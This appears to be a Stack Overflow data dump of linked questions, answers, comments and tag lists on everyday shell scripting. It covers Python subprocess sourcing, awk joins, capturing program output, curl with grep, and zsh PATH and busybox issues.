has body: You can use the sed command to parse the private key in PEM format: sed -n '/^privateExponent/,${p;/[^:]$/q}'

http://stackoverflow.com/q/76703900
has comment: http://stackoverflow.com/comment/135230577
has answer: http://stackoverflow.com/a/76704102
has comment: http://stackoverflow.com/comment/135230615
tagged with: python
has title: Python shell script cannot be executed with source command
has comment: http://stackoverflow.com/comment/135230792
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135238655
has comment: http://stackoverflow.com/comment/135230485
score: 0
has comment: http://stackoverflow.com/comment/135230946
linked to: http://stackoverflow.com/q/7040592
tagged with: subprocess
tagged with: shell
has comment: http://stackoverflow.com/comment/135230525
type: UnansweredQuestion
has body: I want to call a bash script from a python script using subprocess.Popen(). Calling the shell script as an executable works, but sourceing it does not. Why? File test_python.py: import sys import os import subprocess os.putenv("testvar", "testvalue") test = subprocess.Popen("./test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(test) test = subprocess.Popen(". test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(test) test = subprocess.Popen("source test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(test) test = subprocess.Popen("/bin/bash test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(test) test = subprocess.Popen("/bin/sh test_shell.sh", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(test) File test_shell.sh: #!/bin/bash echo "$testvar" Output of python test_python.py: ('testvalue\n', '') ('', '/bin/sh: .: test_shell.sh: cannot open [No such file or directory]\n') ('', '/bin/sh: .: test_shell.sh: cannot open [No such file or directory]\n') ('testvalue\n', '') ('testvalue\n', '')
answer count: 1

http://stackoverflow.com/a/76676086
has body: You can try these return_resp=$(go run main.go) echo $return_resp or go run main.go &gt; output.txt 2&gt;&amp;1 cat output.txt What does &quot; 2&gt;&amp;1 &quot; mean?
score: 5
answers question: http://stackoverflow.com/q/76676053
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76676053
has comment: http://stackoverflow.com/comment/135188762
downvote count: 0
upvote count: 5
type: Answer

http://stackoverflow.com/a/76558876
has comment: http://stackoverflow.com/comment/134984331
has comment: http://stackoverflow.com/comment/134985701
answers question: http://stackoverflow.com/q/76558797
downvote count: 0
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/134984411
has comment: http://stackoverflow.com/comment/134984319
has body: read doesn't have this capability built in, but you can combine it with the time utility. time read &lt; /dev/ttyS0 for example will block until it reads something from the device and then print the total time that the call took including the time spent waiting. If you want to capture to a file instead of displaying on the terminal: { time read &lt; /dev/ttyS0 ; } 2&gt;time_result If you want to display on the terminal and capture in a file: { time read &lt; /dev/ttyS0 ; } 2&gt; &gt;( tee time_result )

http://stackoverflow.com/comment/135051454
type: QuestionComment
type: Comment
has text: @Freeman no offense sir, as EdMorton suggested, I removed temporarily the best answer to see if there are more people to answer. But I'll consider that question soon.
score: 0
comment on: http://stackoverflow.com/q/76597912

text-processing
type: Tag
tags question: http://stackoverflow.com/q/76544889
tag name: text-processing
tags question: http://stackoverflow.com/q/77290226
tags question: http://stackoverflow.com/q/77908875
tags question: http://stackoverflow.com/q/79522023
tags question: http://stackoverflow.com/q/79434741

http://stackoverflow.com/q/76659118
score: 3
tagged with: awk
tagged with: unix
has comment: http://stackoverflow.com/comment/135157067
has answer: http://stackoverflow.com/a/76695422
has answer: http://stackoverflow.com/a/76659289
has answer: http://stackoverflow.com/a/76659370
has comment: http://stackoverflow.com/comment/135157180
answer count: 5
type: Question
has title: Looking for Unix AWK command to perform full outer join of 2 files based on a common column (1st column in unix files is common)
upvote count: 4
tagged with: shell
downvote count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76660631
has answer: http://stackoverflow.com/a/76659349
has body: Looking for Unix AWK command to perform full outer join of 2 files based on a common column (1st column in Unix files is common) 1st File - app.txt 5.13.0.12S Yes 5.13.0.11S Yes 5.13.0.24S Yes 5.13.0.23S Yes 5.13.0.22S Yes 1st File - db.txt 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Tried below AWK command. Did not work well (expecting result like - full outer join) awk 'FNR==NR {data[$1]=$0; next} {$1=data[$1]}1' db.txt app.txt Output of AWK - 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current Yes 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Yes Yes Yes Yes for last 3 records, expecting Nulls then values (Yes) from app.txt Please suggest .. Thanks
has comment: http://stackoverflow.com/comment/135157204
favorite count: 0

http://stackoverflow.com/comment/135149604
type: QuestionComment
type: Comment
has text: Windows doesn't come with any unix-style shell applications out of the box, you'll need to install one yourself (either directly in Windows, or, perhaps preferably, [using WSL](https://learn.microsoft.com/en-us/windows/wsl/install))
comment on: http://stackoverflow.com/q/76655946
score: 1

awk
tags question: http://stackoverflow.com/q/76546217
tags question: http://stackoverflow.com/q/76549073
tags question: http://stackoverflow.com/q/76663322
tags question: http://stackoverflow.com/q/76669265
tags question: http://stackoverflow.com/q/76661943
tags question: http://stackoverflow.com/q/76582602
tag name: awk
tags question: http://stackoverflow.com/q/76633671
tags question: http://stackoverflow.com/q/76650742
tags question: http://stackoverflow.com/q/76581584
type: Tag
tags question: http://stackoverflow.com/q/76657138
tags question: http://stackoverflow.com/q/76607874
tags question: http://stackoverflow.com/q/76699173
tags question: http://stackoverflow.com/q/76659118
tags question: http://stackoverflow.com/q/76878032
tags question: http://stackoverflow.com/q/76864396
tags question: http://stackoverflow.com/q/76880608
tags question: http://stackoverflow.com/q/76840695
tags question: http://stackoverflow.com/q/76722348
tags question: http://stackoverflow.com/q/76872740
tags question: http://stackoverflow.com/q/76841295
tags question: http://stackoverflow.com/q/76960050
tags question: http://stackoverflow.com/q/76922651
tags question: http://stackoverflow.com/q/76978039
tags question: http://stackoverflow.com/q/77006285
tags question: http://stackoverflow.com/q/76927566
tags question: http://stackoverflow.com/q/77039334
tags question: http://stackoverflow.com/q/76913085
tags question: http://stackoverflow.com/q/77010695
tags question: http://stackoverflow.com/q/76986722
tags question: http://stackoverflow.com/q/76980350
tags question: http://stackoverflow.com/q/76927538
tags question: http://stackoverflow.com/q/77097393
tags question: http://stackoverflow.com/q/77171157
tags question: http://stackoverflow.com/q/77149495
tags question: http://stackoverflow.com/q/77212721
tags question: http://stackoverflow.com/q/77156632
tags question: http://stackoverflow.com/q/77169893
tags question: http://stackoverflow.com/q/77321708
tags question: http://stackoverflow.com/q/77396221
tags question: http://stackoverflow.com/q/77256653
tags question: http://stackoverflow.com/q/77256252
tags question: http://stackoverflow.com/q/77332679
tags question: http://stackoverflow.com/q/77248479
tags question: http://stackoverflow.com/q/77358472
tags question: http://stackoverflow.com/q/77476111
tags question: http://stackoverflow.com/q/77490024
tags question: http://stackoverflow.com/q/77417731
tags question: http://stackoverflow.com/q/77530990
tags question: http://stackoverflow.com/q/77488722
tags question: http://stackoverflow.com/q/77670223
tags question: http://stackoverflow.com/q/77699268
tags question: http://stackoverflow.com/q/77698369
tags question: http://stackoverflow.com/q/77616179
tags question: http://stackoverflow.com/q/77772183
tags question: http://stackoverflow.com/q/77921207
tags question: http://stackoverflow.com/q/77884433
tags question: http://stackoverflow.com/q/77828557
tags question: http://stackoverflow.com/q/77944976
tags question: http://stackoverflow.com/q/77949731
tags question: http://stackoverflow.com/q/77924936
tags question: http://stackoverflow.com/q/77912375
tags question: http://stackoverflow.com/q/77937612
tags question: http://stackoverflow.com/q/77888860
tags question: http://stackoverflow.com/q/78012946
tags question: http://stackoverflow.com/q/77991498
tags question: http://stackoverflow.com/q/78122067
tags question: http://stackoverflow.com/q/78059830
tags question: http://stackoverflow.com/q/77967974
tags question: http://stackoverflow.com/q/78118594
tags question: http://stackoverflow.com/q/78049915
tags question: http://stackoverflow.com/q/78152597
tags question: http://stackoverflow.com/q/78302718
tags question: http://stackoverflow.com/q/78274893
tags question: http://stackoverflow.com/q/78424567
tags question: http://stackoverflow.com/q/78339485
tags question: http://stackoverflow.com/q/78364618
tags question: http://stackoverflow.com/q/78372942
tags question: http://stackoverflow.com/q/78442424

http://stackoverflow.com/comment/135038246
score: 0
has text: Does is work if you remove the `"`'s? `queued_builds=$(grep _apis/build/Builds build.txt | cut -d "/" -f9 | grep -Eo '[0-9]*')`
type: Comment
comment on: http://stackoverflow.com/q/76590128
type: QuestionComment

http://stackoverflow.com/comment/135183759
comment on: http://stackoverflow.com/a/76650930
type: Comment
type: AnswerComment
score: 0
has text: Yeh, sure you can, just split them, which you have to count them, then send each chunk after `sleep 1` -- use a loop

http://stackoverflow.com/comment/135118903
comment on: http://stackoverflow.com/q/76638009
has text: if you're using `zsh` ... why is the question tagged with `bash` and not `zsh`?
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135066861
comment on: http://stackoverflow.com/q/76602223
type: QuestionComment
type: Comment
has text: @Armali I tried removing the quotes at the beginning and end of echo but it was giving me the same result, the variables were being properly replaced.
score: 0

http://stackoverflow.com/comment/135128609
has text: (in particular, the OP does not need LD_LIBRARY_PATH -- the copy of zsh they have is included by their OS vendor; no overridden libraries are needed to make it work -- and the edit history of the question shows us very clearly their problem, caused by overriding rather than prepending to PATH; the comment history further shows us that they didn't know they needed to start a new terminal window to undo that mistake, so even when they fixed it the problem was still present in their already-active terminal session).
type: AnswerComment
comment on: http://stackoverflow.com/a/76643867
score: 1
type: Comment

http://stackoverflow.com/comment/138368551
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76566816
has text: I might add that it generally helps to call Resolve-Path for your paths to avoid confusion and to be sure you are working on the files you think you are.
score: 0

http://stackoverflow.com/q/76676053
has comment: http://stackoverflow.com/comment/135192495
tagged with: go
has title: How to capture the response from go run main.go
score: 0
type: Question
tagged with: shell
linked to: http://stackoverflow.com/q/818255
has comment: http://stackoverflow.com/comment/135184136
has answer: http://stackoverflow.com/a/76676086
answer count: 1
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/76676086
has body: I have go script main.go which I am calling it from shell script. main.go returns the response as below on success. I am looking to capture the return response in a variable from the same shell script I am calling main.go Response from running go run main.go No content to read in :/labs/text/11/004/11-004_M0_1_arm_1.d78d350eef91f1e72d801e064a088cf80d3c840a-0023.txt 2023/07/13 04:46:52 /app/lab-processor/src/main.go:201 SLOW SQL >= 200ms [1267.568ms] [rows:1] SELECT * FROM "pipeline1_2"."p_doc_pp_dates" WHERE filename LIKE '%11-004_M0_1_arm_1.d78d350eef91f1e72d801e064a088cf80d3c840a%' AND pagenumber = 38 ORDER BY begin desc LIMIT 1 First response is when ran first file where there is no content to read and second response in when there is something in the file and it loaded in the table I have tried something like go run main.go > return_resp echo $return_resp however it was not much of help
downvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/135036165
type: Comment
comment on: http://stackoverflow.com/q/76588578
has text: I just tested `Set-ADUser -Identity test -ChangePasswordAtLogon $true` works as expected. And `PasswordNeverExpires` attribute must not be enabled for the user
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135164805
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76664928
type: Comment
has text: See [BashFAQ #29](https://mywiki.wooledge.org/BashFAQ/029), and particularly the perl solution therein; perl isn't POSIX-specified, but it _is_ pretty much ubiquitous.

http://stackoverflow.com/q/76659086
duplicate of: http://stackoverflow.com/q/22853406
duplicate of: http://stackoverflow.com/q/7373752
has title: How can only output the Location line in a curl | grep pipeline?
linked to: http://stackoverflow.com/q/22853406
accepted answer: http://stackoverflow.com/a/76659107
score: -1
type: Question
upvote count: 0
duplicate of: http://stackoverflow.com/q/2699383
tagged with: shell
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/76659107
duplicate of: http://stackoverflow.com/q/41730754
tagged with: curl
has body: In my terminal: curl wttr.in/hak | grep Location % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 8827 100 8827 0 0 25438 0 --:--:-- --:--:-- --:--:-- 25438 Location: Республика Хакасия, Сибирский федеральный округ, Россия [53.4399379,90.0664303] How get the only Location line? Location: Республика Хакасия, Сибирский федеральный округ, Россия [53.4399379,90.0664303]
type: AnsweredQuestion
downvote count: 1

http://stackoverflow.com/comment/135012709
type: Comment
comment on: http://stackoverflow.com/q/76574631
score: 0
type: QuestionComment
has text: We encourage questioners to show what they have tried so far to solve the problem themselves.

http://stackoverflow.com/comment/135095268
has text: yes, I am sure the rust and shell env command are in the same shell session.
comment on: http://stackoverflow.com/q/76622495
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135051154
type: Comment
has text: @Shawn When I use bash instead of sh I get no result.
comment on: http://stackoverflow.com/q/76596444
type: QuestionComment
score: 0

http://stackoverflow.com/comment/134990504
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76561501
has text: if your goal to start 'myscript' again unconditionally after its finish, that would be something like `while true; do myscript; sleep 1; done`

http://stackoverflow.com/comment/135209844
has text: Success! Thank you so much for your help. I hope I get better at bash
score: 0
comment on: http://stackoverflow.com/a/76683785
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135059090
comment on: http://stackoverflow.com/q/76599721
score: 1
type: QuestionComment
type: Comment
has text: YAML by itself has no idea of "shell scripts". This seems to be a problem related only to _helm_.

http://stackoverflow.com/a/76643867
answers question: http://stackoverflow.com/q/76643341
score: -1
upvote count: 0
downvote count: 1
type: Answer
has body: I am not having your OS. I tried the same using cygwin at windows. Initially I was not having nano. installed nano.exe at windows: setup-x86_64.exe --no-admin open bash.exe 3) vi ~/.zshrc export PATH="$PATH:$HOME/.rvm/bin" #/cygdrive/c/Users/myusername/cygwin_x86_64/lib/zsh/5.8/zsh/zle.dll file is present export LD_LIBRARY_PATH=/cygdrive/c/Users/MyWindowsUserName/cygwin_x86_64/lib/zsh/5.8 export PS1=$'\033[36m%n\033[m@\033[32m%m:\033[33;1m%d\033[m \$ ' if [ "" = "$count" ] then cd count=$? fi $ cat ~/.zenv export MODULE_PATH=/cygdrive/c/Users/myusername/cygwin_x86_64/lib/zsh/5.8:$MODULE_PATH FPATH=$HOME/opt/software/zsh/usr/share/zsh/functions/Completion:$FPATH inside bash shell: $ which nano /usr/bin/nano $ /cygdrive/c/Windows/System32/where.exe nano.exe C:\Users\myserusername\cygwin\bin\nano.exe $ zsh $ which nano /usr/bin/nano $ nano ~/.zshrc Ctrlx Hence install all dependencies including LD_LIBRARY_PATH/... environment variables related to zsh. /... environment variables related to zsh ... related to OS/environment.
has comment: http://stackoverflow.com/comment/135128609
has comment: http://stackoverflow.com/comment/135128565

tcl
tags question: http://stackoverflow.com/q/76615031
type: Tag
tag name: tcl
tags question: http://stackoverflow.com/q/76592908
tags question: http://stackoverflow.com/q/76615358
tags question: http://stackoverflow.com/q/76830614
tags question: http://stackoverflow.com/q/76994952
tags question: http://stackoverflow.com/q/77122685
tags question: http://stackoverflow.com/q/77418658
tags question: http://stackoverflow.com/q/78299488
tags question: http://stackoverflow.com/q/78720538
tags question: http://stackoverflow.com/q/78854389

http://stackoverflow.com/comment/135193128
score: 0
comment on: http://stackoverflow.com/q/76681562
type: Comment
has text: I _did_ add an answer, but please next time try to narrow the question on the place you got stuck building something yourself, instead of just asking for a program written to spec.
type: QuestionComment

sh
tags question: http://stackoverflow.com/q/76687757
type: Tag
tags question: http://stackoverflow.com/q/76546737
tag name: sh
tags question: http://stackoverflow.com/q/76555096
tags question: http://stackoverflow.com/q/76601045
tags question: http://stackoverflow.com/q/76591635
tags question: http://stackoverflow.com/q/76669088
tags question: http://stackoverflow.com/q/76664928
tags question: http://stackoverflow.com/q/76678432
tags question: http://stackoverflow.com/q/76581584
tags question: http://stackoverflow.com/q/76739629
tags question: http://stackoverflow.com/q/76770292
tags question: http://stackoverflow.com/q/76817121
tags question: http://stackoverflow.com/q/76785187
tags question: http://stackoverflow.com/q/76815168
tags question: http://stackoverflow.com/q/76715818
tags question: http://stackoverflow.com/q/76788674
tags question: http://stackoverflow.com/q/76763104
tags question: http://stackoverflow.com/q/76848082
tags question: http://stackoverflow.com/q/76979463
tags question: http://stackoverflow.com/q/77042792
tags question: http://stackoverflow.com/q/77016713
tags question: http://stackoverflow.com/q/76970324
tags question: http://stackoverflow.com/q/77060368
tags question: http://stackoverflow.com/q/77095262
tags question: http://stackoverflow.com/q/77156632
tags question: http://stackoverflow.com/q/77106862
tags question: http://stackoverflow.com/q/77075130
tags question: http://stackoverflow.com/q/77132631
tags question: http://stackoverflow.com/q/77107010
tags question: http://stackoverflow.com/q/77124682
tags question: http://stackoverflow.com/q/77122868
tags question: http://stackoverflow.com/q/77100448
tags question: http://stackoverflow.com/q/77161159
tags question: http://stackoverflow.com/q/77173353
tags question: http://stackoverflow.com/q/77122156
tags question: http://stackoverflow.com/q/77133248
tags question: http://stackoverflow.com/q/77346239
tags question: http://stackoverflow.com/q/77268864
tags question: http://stackoverflow.com/q/77295166
tags question: http://stackoverflow.com/q/77362481
tags question: http://stackoverflow.com/q/77245395
tags question: http://stackoverflow.com/q/77531551
tags question: http://stackoverflow.com/q/77444471
tags question: http://stackoverflow.com/q/77566820
tags question: http://stackoverflow.com/q/77472998
tags question: http://stackoverflow.com/q/77642099
tags question: http://stackoverflow.com/q/77623203
tags question: http://stackoverflow.com/q/77631193
tags question: http://stackoverflow.com/q/77721017
tags question: http://stackoverflow.com/q/77675845
tags question: http://stackoverflow.com/q/77630728
tags question: http://stackoverflow.com/q/77716051
tags question: http://stackoverflow.com/q/77668366
tags question: http://stackoverflow.com/q/77886049
tags question: http://stackoverflow.com/q/77824412
tags question: http://stackoverflow.com/q/77862207
tags question: http://stackoverflow.com/q/77831669
tags question: http://stackoverflow.com/q/77950293
tags question: http://stackoverflow.com/q/77809842
tags question: http://stackoverflow.com/q/77940371
tags question: http://stackoverflow.com/q/77964469
tags question: http://stackoverflow.com/q/77998354
tags question: http://stackoverflow.com/q/77967974
tags question: http://stackoverflow.com/q/77979882
tags question: http://stackoverflow.com/q/78124501
tags question: http://stackoverflow.com/q/77974539
tags question: http://stackoverflow.com/q/78089812
tags question: http://stackoverflow.com/q/78156679
tags question: http://stackoverflow.com/q/78177405
tags question: http://stackoverflow.com/q/78215669
tags question: http://stackoverflow.com/q/78255611
tags question: http://stackoverflow.com/q/78193259
tags question: http://stackoverflow.com/q/78255091
tags question: http://stackoverflow.com/q/78300019
tags question: http://stackoverflow.com/q/78253800
tags question: http://stackoverflow.com/q/78389511
tags question: http://stackoverflow.com/q/78428782
tags question: http://stackoverflow.com/q/78433528

http://stackoverflow.com/comment/135127943
has text: no , i have just enter the code : source ~/.bash_profile
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment

applescript
tag name: applescript
tags question: http://stackoverflow.com/q/76544842
type: Tag
tags question: http://stackoverflow.com/q/76937067
tags question: http://stackoverflow.com/q/77933273
tags question: http://stackoverflow.com/q/78094090
tags question: http://stackoverflow.com/q/78364618
tags question: http://stackoverflow.com/q/78640139
tags question: http://stackoverflow.com/q/78609953
tags question: http://stackoverflow.com/q/78881686
tags question: http://stackoverflow.com/q/79201762
tags question: http://stackoverflow.com/q/79386000

http://stackoverflow.com/a/76556414
upvote count: 1
type: Answer
score: 1
answers question: http://stackoverflow.com/q/76555096
has body: You can only safely use . or source when a file was written to be valid shell source code. That is not true of the file you have here: shell assignments don't start with $. If you're trying to modify the existing password by reencrypting it, and that's why your code tries to read the original file into the shell interpreter, then you might want: #!/usr/bin/env bash # ^^^^- NOT sh, ONLY bash declare -A variables=( ) while IFS='=' read -r key value; do variables[$key]=$value done < INFA.param oldPassword=${variables['$ParamPswd']} newPassword=$(pmcmd "$oldPassword" -e CRYPTDATA) in="$oldPassword" out="$newPassword" \ perl -pi -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' INFA.param It's even easier if your new password is input; then you don't need to read the original file at all in the first place: newPassword=$(pmcmd "${password?Password undefined}" -e CRYPTDATA) out="$newPassword" \ perl -pi -e 's/^[$]ParamPswd=.*$/$ENV{"out"}/g' INFA.param
downvote count: 0

http://stackoverflow.com/comment/135162765
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76663322
has text: If the sole purpose of the `bash/while/read` loop is to make a set of `awk` calls, then the whole block of code can be replaced with a single, and more efficient, `awk` call; my [answer to your previous question](https://stackoverflow.com/a/76663454) provides one example; if that answer (at the link) answers this question then you may want to delete this question (as a duplicate of your previous Q&A);
score: 1

http://stackoverflow.com/q/76679712
favorite count: 0
tagged with: desktopcapturer
has title: get detailed information about sources optained through desktopCapturer in electron desktop application
tagged with: electron
type: Question
upvote count: 1
tagged with: node.js
tagged with: shell
answer count: 0
tagged with: javascript
type: UnansweredQuestion
score: 1
downvote count: 0
has body: I am creating an desktop application using electron for the Linux platform. I am able to get screenshot of the entire screen or the each screen. Following is the code to that captures screenshot and passes to another function that saves screenshot as png file : function getMainSource(desktopCapturer, screen, done) { let options = { types: ['window', 'screen'], thumbnailSize: screen.workAreaSize }; desktopCapturer .getSources(options) .then(sources =&gt; { for (const thisSource of sources) { console.log(`SOURCE NAME (${thisSource.id}) ::`, thisSource.name); } const isMainSource = s =&gt; s.name === 'Entire Screen' || s.name === 'Screen 1' || s.name === 'Entire screen'; console.log(`isMainSource =&gt; `,sources); done(sources.filter(isMainSource)[0]); //done(sources[3]); }) .catch(err =&gt; { return console.log('cannot capture screen:', err); }); } getSources function returns sources object that does not contain sufficient information about the application / window . It contains only 5 properties (name,id,thumbnail,display_id,appIcon) something like below : { name: 'Landing Page- Project.docx - LibreOffice Writer', id: 'window:117440667:0', thumbnail: NativeImage { .... ... }, display_id: '', appIcon: null } name is the title of the application which does not contain information about the app always. Is there any way that I can get more information (exact application name, URL in case of browser) about the each app with electron APIs or shell script or any other feasible way. Thanks in advance

http://stackoverflow.com/comment/135013144
comment on: http://stackoverflow.com/a/76575601
has text: So this is an undocumented (except by inference) restriction in Ruby? It appears to apply to Python and Perl, as well, but I haven't investigated in depth. I wonder why this is so, other than perhaps dealing with parsing to/from the #to_s return for `ENV`-specific hash and array implementations.. It clearly isn't as simply nor obvious as it seemed to me at first blush.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76556303
has body: You are executing the following as bash script: $ParamUser=SOMEUSERNAME $ParamPswd=SOMEPASSWORD $$StartTime=2021-06-26 08:31:51:1195079 $$EndTime=2021-06-26 09:31:51:1195079 Unlike Perl, bash uses the $ only to expand variables. For example: a='some text' echo "$a" gives in bash: some text When your script starts, the bash variable ParamUser is empty, so the line $ParamUser=SOMEUSERNAME will be expanded to =SOMEUSERNAME. That is not a valid command, and therefore bash complains =SOMEUSERNAME: not found For bash $$StartTime=2021-06-26 08:31:51:1195079 contains multiple different problems, among which the spacing. Also, $$ expands to the PID of your current process, which is 31850942, apparently. So, a solution would be ParamUser=$(sed -n 's/ParamUser=//p' INFA.param) (same for the rest) Note that the line pmcmdpassword=$(pmcmd $password -e CRYPTDATA) uses a variable password that is not set in the script-part in the question.
score: 0
answers question: http://stackoverflow.com/q/76555096
type: Answer

http://stackoverflow.com/comment/135035521
type: Comment
comment on: http://stackoverflow.com/q/76588578
score: 0
has text: @Mike B, have you checked using Active Directory Users and Computers that checkbox requiring user to change password is actually set to "enabled" after you run your script?
type: QuestionComment

http://stackoverflow.com/a/76688297
upvote count: 3
accepted answer of: http://stackoverflow.com/q/76687757
has comment: http://stackoverflow.com/comment/135204147
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76687757
downvote count: 0
has body: This is a bug in busybox ash that has already been fixed upstream but not included in a release (as of this writing, at which point v1.36.1 is the latest available). The fix is included in commit 7362d2979434c565ae70b0ccf9d4b09d7597fb48; you can thus expect this behavior to no longer take place when a new busybox release is next available. As suggested by Grobu, you might switch to dash in the interim: this bug is related to busybox trying to call its own sleep.
score: 3
type: Answer

unix
tags question: http://stackoverflow.com/q/76694496
tags question: http://stackoverflow.com/q/76657138
tags question: http://stackoverflow.com/q/76555096
type: Tag
tag name: unix
tags question: http://stackoverflow.com/q/76697805
tags question: http://stackoverflow.com/q/76659118
tags question: http://stackoverflow.com/q/76633664
tags question: http://stackoverflow.com/q/76751024
tags question: http://stackoverflow.com/q/76720260
tags question: http://stackoverflow.com/q/76770292
tags question: http://stackoverflow.com/q/76781400
tags question: http://stackoverflow.com/q/76785108
tags question: http://stackoverflow.com/q/76804463
tags question: http://stackoverflow.com/q/76751837
tags question: http://stackoverflow.com/q/76840695
tags question: http://stackoverflow.com/q/76845243
tags question: http://stackoverflow.com/q/76872740
tags question: http://stackoverflow.com/q/76817193
tags question: http://stackoverflow.com/q/76774173
tags question: http://stackoverflow.com/q/76924061
tags question: http://stackoverflow.com/q/77042234
tags question: http://stackoverflow.com/q/77009102
tags question: http://stackoverflow.com/q/77043781
tags question: http://stackoverflow.com/q/77050349
tags question: http://stackoverflow.com/q/76903882
tags question: http://stackoverflow.com/q/77045684
tags question: http://stackoverflow.com/q/77024360
tags question: http://stackoverflow.com/q/77134969
tags question: http://stackoverflow.com/q/77156311
tags question: http://stackoverflow.com/q/77156832
tags question: http://stackoverflow.com/q/77171157
tags question: http://stackoverflow.com/q/77170124
tags question: http://stackoverflow.com/q/77100689
tags question: http://stackoverflow.com/q/77121773
tags question: http://stackoverflow.com/q/77353642
tags question: http://stackoverflow.com/q/77280644
tags question: http://stackoverflow.com/q/77333960
tags question: http://stackoverflow.com/q/77277362
tags question: http://stackoverflow.com/q/77309770
tags question: http://stackoverflow.com/q/77314014
tags question: http://stackoverflow.com/q/77290990
tags question: http://stackoverflow.com/q/77256653
tags question: http://stackoverflow.com/q/77371194
tags question: http://stackoverflow.com/q/77370385
tags question: http://stackoverflow.com/q/77245395
tags question: http://stackoverflow.com/q/77486768
tags question: http://stackoverflow.com/q/77534163
tags question: http://stackoverflow.com/q/77583326
tags question: http://stackoverflow.com/q/77496527
tags question: http://stackoverflow.com/q/77480910
tags question: http://stackoverflow.com/q/77530990
tags question: http://stackoverflow.com/q/77570997
tags question: http://stackoverflow.com/q/77568775
tags question: http://stackoverflow.com/q/77473871
tags question: http://stackoverflow.com/q/77672040
tags question: http://stackoverflow.com/q/77756068
tags question: http://stackoverflow.com/q/77611299
tags question: http://stackoverflow.com/q/77675845
tags question: http://stackoverflow.com/q/77668256
tags question: http://stackoverflow.com/q/77639864
tags question: http://stackoverflow.com/q/77772183
tags question: http://stackoverflow.com/q/77625868
tags question: http://stackoverflow.com/q/77693657
tags question: http://stackoverflow.com/q/77825182
tags question: http://stackoverflow.com/q/77821584
tags question: http://stackoverflow.com/q/77937612
tags question: http://stackoverflow.com/q/77814304
tags question: http://stackoverflow.com/q/77840984
tags question: http://stackoverflow.com/q/77828557
tags question: http://stackoverflow.com/q/78118594
tags question: http://stackoverflow.com/q/77966709
tags question: http://stackoverflow.com/q/78124501
tags question: http://stackoverflow.com/q/78055342
tags question: http://stackoverflow.com/q/78138180
tags question: http://stackoverflow.com/q/78058866
tags question: http://stackoverflow.com/q/78146721
tags question: http://stackoverflow.com/q/78178702
tags question: http://stackoverflow.com/q/78222483
tags question: http://stackoverflow.com/q/78265633

http://stackoverflow.com/comment/135090377
has text: @user1934428 sry I write it wrong, should be like `output.tar.gz` and `./output.tar.gz`
type: Comment
comment on: http://stackoverflow.com/q/76620625
score: 0
type: QuestionComment

amazon-web-services
type: Tag
tags question: http://stackoverflow.com/q/76681101
tag name: amazon-web-services
tags question: http://stackoverflow.com/q/76553763
tags question: http://stackoverflow.com/q/76886145
tags question: http://stackoverflow.com/q/77279649
tags question: http://stackoverflow.com/q/77556057
tags question: http://stackoverflow.com/q/77576139
tags question: http://stackoverflow.com/q/77613523
tags question: http://stackoverflow.com/q/77646010
tags question: http://stackoverflow.com/q/77733666
tags question: http://stackoverflow.com/q/78159800
tags question: http://stackoverflow.com/q/78914966
tags question: http://stackoverflow.com/q/79376004

http://stackoverflow.com/comment/134993277
has text: It's done by putting `; exit` after _"script dead"_.
type: Comment
comment on: http://stackoverflow.com/q/76561501
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135193986
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76682292
has text: (of course, that particular failure mode is one you can check for just as well with lsof or by inspecting procfs).
type: Comment

http://stackoverflow.com/q/76679026
favorite count: 0
downvote count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/13586349
accepted answer: http://stackoverflow.com/a/76679063
has answer: http://stackoverflow.com/a/76679159
has comment: http://stackoverflow.com/comment/135188321
has comment: http://stackoverflow.com/comment/135216977
answer count: 5
tagged with: grep
type: Question
has answer: http://stackoverflow.com/a/76695829
tagged with: shell
linked to: http://stackoverflow.com/q/2099471
has answer: http://stackoverflow.com/a/76679049
has answer: http://stackoverflow.com/a/76688177
score: 1
possible better answer: http://stackoverflow.com/a/76679049
tagged with: sed
upvote count: 2
has body: I'm trying to figure how to add a prefix at the beggining of each line where the lines are the output of curl: I have the following command and output: curl -s https://www.url.com/ | grep -Eo '/news/[^ &gt;]+' /news/category/title-new-bla-bla /news/category2/title-new-bla-bla2 /news/category3/title-new-bla-bla3 /news/category4/title-new-bla-bla4 I would to add to my command, maybe using sed or another tool, the prefix https://www.url.com/ to each line as follows: https://www.url.com/news/category/title-new-bla-bla https://www.url.com/news/category2/title-new-bla-bla2 https://www.url.com/news/category3/title-new-bla-bla3 https://www.url.com/news/category4/title-new-bla-bla4 Any help would me amazing please!
tagged with: linux
tagged with: bash
has answer: http://stackoverflow.com/a/76679063
